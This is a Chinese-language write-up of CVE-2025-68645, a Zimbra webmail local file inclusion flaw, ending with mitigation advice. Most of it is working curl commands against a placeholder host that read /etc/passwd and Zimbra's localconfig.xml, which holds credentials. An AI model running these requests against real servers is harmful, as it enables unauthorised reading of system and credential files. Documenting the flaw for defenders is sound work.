🛡️ CVE-2025-68645 - Zimbra 本地文件包含 (LFI) 分析

---

---

📌 概述

本文档描述了一个影响 Zimbra Collaboration Suite 的本地文件包含 (LFI) 漏洞。

该问题源于对以下参数的不当处理：

/h/*?javax.servlet.include.servlet_path=

这允许未经身份验证的用户访问内部应用程序资源。

🔍 漏洞详情

• 类型： 本地文件包含 (LFI)
• 访问权限： 无需身份验证
• 受影响组件： Webmail（经典界面）
• 攻击向量： HTTP 请求操纵

🧪 初始验证

测试请求：

curl -k "https://TARGET/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

▶️ 演示：

✅ 结果

• 内部文件成功获取
• 确认存在不当输入处理

⚙️ 端点行为

多个端点对易受攻击参数的处理方式不同。

示例：

/h/printcalendar?javax.servlet.include.servlet_path=...

观察：

• 文件访问行为更一致
• 与 /h/rest 相比，响应可靠性更高

🚧 TLS 注意事项

问题

SSL: certificate subject name does not match target host

解决方法

curl -k "https://TARGET/..."

🚀 利用示例

📂 访问内部 Web 资源

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

📂 尝试访问系统文件

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/etc/passwd"

🔐 访问应用程序配置

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/opt/zimbra/conf/localconfig.xml"

可能泄露的信息：

• 服务凭据
• 内部配置
• 基础设施细节

🧠 影响

成功利用可能导致：

• 泄露敏感配置文件
• 暴露内部服务和架构
• 凭据泄露
• 增加进一步被攻陷的风险

🛡️ 缓解措施

• 将 Zimbra 更新至已修补版本

• 限制对易受攻击端点的访问

• 监控日志中可疑的参数：

  • javax.servlet.include.servlet_path

• 部署 WAF 规则以阻止恶意模式

💡 关键要点

• 输入验证失败可能暴露内部资源
• 不同端点行为可能不一致
• 配置文件中通常包含关键信息
• 早期检测能显著降低风险

🏴 结论

• 漏洞已确认：CVE-2025-68645
• 利用可实现未授权文件访问
• 强烈建议立即进行修复